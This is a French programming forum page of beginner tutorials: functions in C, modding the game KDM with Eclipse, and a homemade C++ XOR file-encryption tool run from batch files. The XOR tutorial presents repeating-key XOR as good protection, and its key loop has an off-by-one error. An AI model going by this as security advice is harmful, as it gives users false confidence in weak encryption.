'mondomaine.net']); </script> Une fois tout ça intégré, le script prends effet immédiatement et vous pouvez consulter le résultat dans la section "Temps réel" de l'onglet "Création de rapport" et voir que tout marche.
  22. Hey tout le monde ! Aujourd’hui un petit tuto concernant les bases de la programmation en C, et plus particulièrement l’introduction à l’utilisation des fonctions. (Attention les codes présents dans ce tutoriel sont principalement en algorithmique, inutile d'essayer de les compiler) / !\ Ce tutoriel nécessite la connaissance des grandes bases de la programmation en C, notamment les variables, les types, la fonction « main », les calculs simples… / !\ Les fonctions permettent de structurer un programme en plusieurs « morceaux », un peu comme un puzzle. Le programme est donc mieux organisé, ce qui peut se révéler très utile, par exemple, lors de la recherche d’une erreur… Alors une fonction qu’est-ce que c’est ? Une fonction est un bout de programme destiné à exécuter des actions, ces actions pouvant mener au renvoi d’un résultat, ou non. Un exemple sera plus parlant qu’une explication compliquée. Imaginons que l’on souhaite multiplier un nombre par 3, puis l’afficher. Voici le moyen le plus basique : main() { entier nombre = 5 ; nombre = nombre*3 ; afficher nombre ; return 0; } On crée une variable nombre, on la multiplie par trois, puis on l’affiche. Le tour est joué. Voyons maintenant le même programme mais avec une fonction (explications ensuite): entier triple (entier nombre) // 1. Création de la fonction { entier resultat = 0; resultat = nombre*3 ; // 2. Instructions executées par la fonction return resultat ; // 3. renvoi du resultat } main() { afficher triple(5); // 4. Appel de la fonction return 0; { 1. Création de la fonction Le modèle de création d'une fonction est celui-ci: type nom_de_la_fonction (paramètre_entrant) { // Instructions } - "type" correspond au type de la sortie de la fonction. Dans notre exemple, la fonction "triple" renvoie un entier. - "nom_de_la_fonction" est en fait le nom que vous souhaitez donner à votre fonction. Pour notre exemple, j'ai nommé notre fonction "triple". - "paramètre_entrant" correspond aux valeurs avec lesquelles la fonction va travailler. Dans l'exemple la fonction va travailler avec un nombre, j'ai donc nommé son paramètre en conséquence. Un paramètre doit être précédé de son type, dans l'exemple, un entier. 2. Instructions executées par la fonction Tout bonnement des instructions qui seront par la suite executées par la fonction. Pour l'exemple, les seules instructions données consistent à tripler notre nombre de base, celui rentré en paramètre, et à le stocker dans une variable nomée "resultat". 3. Renvoi du résultat Cette commande ordonne à la fonction de renvoyer la valeur de la variable "resultat" (15 dans l'exemple). 4. Appel de la fonction C'est à ce moment que l'on va réellement utiliser notre fonction. Un appel de fonction suit ce shéma: nom_de_la_fonction(valeurs souhaitées en paramètre) Il suffit d'écrire le nom de la fonction, et d'entrer entre parenthèses les valeurs que l'on souhaite que la fonction traite. Pour faire simple, lorsque vous appelez une fonction, c’est comme si le programme faisait un copier-coller des instructions de la fonction. Donc lorsqu’on écrit « triple(5) », le programme calcule le triple de 5 par le biais de la fonction nommée « triple ». Ce résultat n’est stocké nulle part par défaut, il est juste calculé. Il est donc nécessaire de soit le stocker dans une variable (pour le réutiliser plus tard), soit l’afficher directement, comme dans l’exemple. Et là je vous entends d’ici (si si je vous assure ) : « Mais pourquoi se casser la tête à faire une fonction ? Dans l’exemple c’est beaucoup plus facile sans ! » Oui, mais là il s’agit d’une simple multiplication par trois. Certaines fonctions font des milliers de lignes ! Votre main sera donc beaucoup plus propre et compréhensible avec des fonctions ! De plus, les fonctions permettent d’exécuter plusieurs fois la même action (comme une multiplication par trois) sans avoir à retaper le code, et ce, avec autant de valeurs que l’on veut (Notre exemple multiplie 5 par 3, mais il suffit de taper « triple(20) » pour obtenir le triple de 20). Donc gain de temps et de place. En voilà un outil pratique ! Voilà c’est à peu près tout, il s’agit là d’un tutoriel très basique, destiné à vous faire comprendre le fonctionnement des fonctions. Si vous êtes intéressés, je vous invite à parcourir ceci, afin d’approfondir ces explications. Si vous avez des questions ou des suggestions pour perfectionner ce tutoriel, n’hésitez pas !
  23. Bonjour jeune vagabond ! J'ai retrouvé des tutoriels en batch que j'avait fait pour l'ancien Melinyel, et voici la première partie :
  24. Bonjour à tous, Vous avez toujours rêvé de modder un jeu? Alors pourquoi ne pas vous lancer dans un jeu qui a été créé pour le modding? Une des particularités de KDM, c'est qu'il a été pensé pour du modding, et je compte bien sur la communauté pour faire grandir ce jeu . C'est donc un travail communautaire que vous propose KDM, et je vous fournirais bientôt un "developper java pack" pour ceux qui souhaitent développer leur mod et leur maps pour KDM . I- Le developper kit. LE DEVELOPPER KIT DEVRAIS ARRIVER DANS PEU DE TEMPS! II- Configurer Eclipse. Rien de plus simple, il suffit d'importer le dissier "project" dans eclipse. Ensuite, choisir "existing project" dans la liste "general": Enfin, sélectionner le dossier "project" Cliquez sur Finish, et c'est bon! Vous pouvez commencer à modder III- Qu'est-ce que je peux modder pour l'instant? C'est une grande question. Eh bien, pour l'instant, seules les entitées (et donc les maps) peuvent êtres modées. Plus tard, vous pourrez modder un peu tout ce qui est moddable, grâce à l'API qui vous sera fournie par KDM . N'oubliez pas de lancer souvent l'updater pour mettre à jour le developper kit, sinon votre mod ne sera peut être pas à jour . IV- L'API Entity 1- Créer une nouvelle entité Vous pouvez créer une entité directement via l'objet "Entity" qui existe déjà. Pour se faire, il faudra créer un nouveau package, comme ceci: Créons ensuite dedans, la classe d'entité que nous souhaitons: Attention, pour l'entité, le nom de votre entité doit commencer par "Entity", par exemple, ici je crée une entité "MyEntity" : Notre entité est maintenant crée, il faut la faire hériter de "Entity", comme ceci: Voilà, vous pouvez à présent vous amuser avec votre entité, une fois celle-ci finalisée, il vous suffira d'exporter un jar, et de le mettre dans le dossier "entities" du jeu Vous pouvez retrouver toutes les méthodes publiques et overridables de Entity en regardant la librairie de plus près: Et en ouvrant Entity: Bref, je vous conseille de jeter un coup d'oeil seul pour commencer, et je vous donnerais une documentation plus complète une fois que l'API sera plus avancée J'espère que vous serez nombreux à modder sur le jeu, et que vous aurez beaucoup de retours à me donner par rapport à ça . Cordialement, AlexMog.
  25. Karles

    [Cryptage] XOR Fait maison

    Bonjour tout le monde, Je vais vous montrer un petit programme simple qui va permettre de crypter et de décrypter un fichier à l'aide de l’algorithme XOR. Cet algorithme est très simple et léger, il offre une bonne protection sans plus, vous pouvez choisir la clé de cryptage que vous voulez. Commencez par créer une solution DOS Win32 en C++ sous Visual Studio (2010 pour ma part), puis dans le fichier source main (principal) mettez ceci : #include "stdafx.h" #include <stdio.h> #include <STDLIB.H> #include <string.h> /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ int crypt (char *clefc,char pathc[255],char targetc[255]);/*fonction de cryptage*/ int decrypt (char *clefd,char pathd[255],char targetd[255]);/*decryptage*/ void bann();/*Montre comment utiliser le programme*/ void test(char *fnc,char *cl,char pathg[255],char target[255]);/*permet d'analyser l'entrée en ligne de commande*/ FILE *fichier; /*handle vers le fichier source*/ FILE *dest; /*handle vers le fichier destination*/ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ int main(int argc, char *argv[]) { /* Vérifie le nombre d'argument en ligne de commande et s'il est exact il les teste pour determiner l'action a faire*/ if (argc==1 || argc==2) bann(); else test(argv[1],argv[3],argv[2],argv[4]); return 0; } /*.................................................................*/ void bann() { puts("\n\t\t<------------------XorCrypt-------------------->"); puts("\t\t<-------------------------------------------->\n"); puts("Fonctionnement :"); puts("xorcrypt -c nom_de_fichier clef Destination : Crypte le ficher"); puts(" -d nom_de_fichier clef Destination : Decrypte le fichier"); puts("Exemple : xorcrypt -c texte.txt clef texte2.txt\n"); system("pause"); } /*.................................................................*/ /* Test des valeurs entrées en argument de la ligne de commande */ void test(char *fnc, char *cl, char pathg[255],char target[255]) { if (strcmp(fnc,"-c")==0) crypt(cl,pathg,target); else if (strcmp(fnc,"-d")==0) decrypt(cl,pathg,target); else bann(); } /*.................................................................*/ /* Fonction de cryptage*/ int crypt (char *clefc,char pathc[255],char targetc[255]) { int pd=0;/*initialisation du compteur de la clef*/ int c; int i; if (clefc!=NULL && pathc!=NULL && targetc!=NULL)/* Verification des arguments necessaires*/ { if (fichier=fopen(pathc,"rb"))/* ouverture du fichier source en mode lecture binaire */ { dest=fopen(targetc,"wb");/* ouverture du fichier destination en mode ecriture binaire */ puts("Fichier ouvert\n Encryption en cours..."); while((c=fgetc(fichier))!=EOF)/* En boucle jusqu'a la fin du fichier*/ { c=~c;/*Réalise une inversion des bits du caractere*/ c^=clefc[pd];/* Effectue un XOR sur le caractere avec un caractere de le clef */ fprintf(dest,"%c",c);/* ecrit le caractere dans le fichier */ if (pd!=strlen(clefc))/*test de la clef */ {pd+=1;} else {pd=0;} } puts("Encryption effectuée"); fclose(fichier); fclose(dest); } else { puts("Impossible d'ouvrir le fichier"); } } else puts("Argument manquant"); return false; } /*.................................................................*/ /*fonction de decryptage*/ int decrypt (char *clefd,char pathd[255],char targetd[255]) { int pd=0; int c; int i; if (clefd!=NULL && pathd!=NULL && targetd!=NULL) /*Test des arguments necessaires */ { if (fichier=fopen(pathd,"rb"))/* ouverture du fichier source en lecture binaire */ { dest=fopen(targetd,"wb"); /* fichier destination en lecture binaire */ puts("Fichier ouvert\n Decryptage en cours ..."); while((c=fgetc(fichier))!=EOF)/* Boucle tant que le fichier n'a pas été entierement parcouru */ { c^=clefd[pd]; /* applique un XOR sur un caractere avec un caractere de la clef */ c=~c; /* Rotation des bits */ fprintf(dest,"%c",c); /*ecriture dans le fichier destination */ if (pd!=strlen(clefd)) /* Test de la clef */ {pd+=1;} else {pd=0;} } puts("Decryptage effectué"); fclose(fichier); fclose(dest); } else { puts("Impossible d'ouvrir le fichier"); } } else puts("Argument manquant"); return false; } Vous enregistrez, vous compilez, vous récupérez l'exe et vous le mettez dans un dossier tout seul, renommez-le en xorcrypt.exe I. Le Cryptage Ensuite vous allez créer un .bat nommé Crypt.bat, dedans vous y mettez : xorcrypt -c nocrypt.txt %CLEF% crypt.txt Remplacez %CLEF% par un mot, un SHA1, un MD5, ce que vous vouez, sans espace. Et remplacez nocrypt.txt par le fichier source non crypté, et crypt.txt par le fichier destination crypté. Fonctionne avec toute les extensions de fichier. Mettez-le dans le même dossier que xorcrypt.exe, et mettez le fichier .txt(ou autre) source au même endroit que les 2 fichier précédents. Lancez Crypt.bat et votre fichier va se Crypter. 2. Le décryptage Créer un .bat nommé Decrypt.bat, mettez-le dans le même dossier que les 2 autres fichiers (xorcrypt et Crypt), et remplissez-le comme ceci : xorcrypt -d crypt.txt %CLEF% nocrypt.txt Remplacez %CLEF% par la même clef qui a servi au cryptage de ce fichier. Et remplacez crypt.txt par le fichier source crypté, et nocrypt.txt par le fichier destination décrypté. Lancez Decrypt.bat et votre fichier va se décrypter. Le tour est joué, vous pouvez désormais crypter un fichier et le décrypter très simplement, il ne reste plus qu'à implanter le décryptage dans un programme pour pouvoir crypter le contenu (pour un jeu par exemple) Code fournit par http://codes-sources.commentcamarche.net et remanié par Karles. Cordialement, Karles
×
×
  • Créer...